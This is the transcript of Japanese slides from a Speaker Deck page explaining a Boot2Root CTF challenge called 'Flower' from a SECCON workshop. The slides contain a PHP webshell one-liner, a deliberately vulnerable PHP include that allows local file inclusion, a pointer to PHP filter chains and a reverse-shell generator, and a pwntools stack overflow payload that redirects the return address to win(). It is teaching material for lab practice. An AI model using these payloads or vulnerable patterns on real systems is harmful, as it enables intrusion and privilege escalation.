Upgrade to Pro — share decks privately, control downloads, hide ads and more …

SECCON 電脳会議 13 RWPL_Flower_解説

Avatar for Yunolay Yunolay
March 06, 2025
5

SECCON 電脳会議 13 RWPL_Flower_解説

SECCON 電脳会議 13 RWPL workshopで出題したFlowerというBoot2Rootの解説スライドです。

Avatar for Yunolay

Yunolay

March 06, 2025
Tweet

Transcript

  1. 自己紹介 • 名前: ゆのれい • Twitter(X): @Yunolay • 資格: OSCP,

    OSCE3, CBBH, CPTSなど • HackTheBox: Omniscient rank, Season3-6 Holo rank. • 仕事: セキュリティ全般 • 所属コミュニティ: • Synack SRT • 7h3B14ckKn1gh75 (aka) Knights • Real World Pentesting Lab (RWPL)
  2. ユーザ権限の取得(一例) • 任意コマンド実行 • <?php system($_GET['cmd']);?> • →リバースシェル(https://www.revshells.com/) • 認証情報の漏洩など

    ←今回のシナリオで出題 • Q: 実際に認証情報の漏洩はありうるか? • A: サブドメインなどにgitのサービスがあり、sshpassなど を使用しているため、認証情報が漏洩などのケースが感が られます。
  3. 権限昇格(Linux) • SUIDバイナリによる権限昇格 • sudoのno password • 設定不備の悪用 • Pathインジェクション

    • バイナリエクスプロイト ←今回のシナリオで採用 • カーネルエクスプロイト • などなど
  4. Flower シナリオ概要 • ソースコードリークによる認証情報の漏洩 (web) • 特権権限ユーザの所有する実行可能なバイナリに存在する脆弱性 を悪用したroot shellの獲得 (pwn)

    • Flowerサーバ: http://3.112.30.17/ • 3/6までサーバーを残しています。 • 基本的なLAMPの環境のため、 ソースコードをローカルに置いて 検証することも可能です
  5. User Part (web) • 脆弱性はどこにあるか? • include($page); • ググる例: php

    include LFI <?php // Super Secret SSH Password // **** : ************************** if (isset($_GET[‘page’])) { $page = $_GET[‘page’] . ‘.php’; include($page); exit; } ?>
  6. User Part (web) • PHP filters chain を使用してsystem($_REQUEST[“cmd”]);?>を実行 することで任意コマンドの実行も可能です。ただし今回は daemonからの権限昇格はなく、Rabbit

    Holeとさせていただいて います。 • 任意コマンドが実行可能なので、`cat index.php`を実行するだけ でソースコードリークが可能です。 • https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e27 8d4d
  7. Root Part (pwn) • vuln.cを読んでみる。 • main()->init()->vuln() • しかしwin()を通らない •

    vulnではbufを0x100確保している • つまりreturn addressのoverwriteには 0x100+0x8がオフセットとなる。
  8. Root Part (pwn) • ホームフォルダにinitial_poc.pyが置いてある。 • ripが0x43434343(CCCC)になる。 • これをwin()のアドレスへ書き換える •

    win()のアドレスは? • gdb-pede, gef, pwndbg • radare2 • IDA pro • Binary Ninja • Ghidraなど payload = b'' payload += b'A' * 0x100 # buf payload += b'B' * 0x8 # saved rbp payload += b'C' * 0x8 # change this.
  9. Root Part (pwn) • pwntoolsを使用してsshで接続してバイナリを実行してペイロー ドを送信する。 • https://github.com/Gallopsled/pwntools • 書き換える内容としてはリターンアドレスを書き換えるだけ。

    payload = b'' payload += b'A' * 0x100 # buf payload += b'B' * 0x8 # saved rbp payload += p64(ret) # stack align payload += p64(elf.sym.win) # return address to main -> win()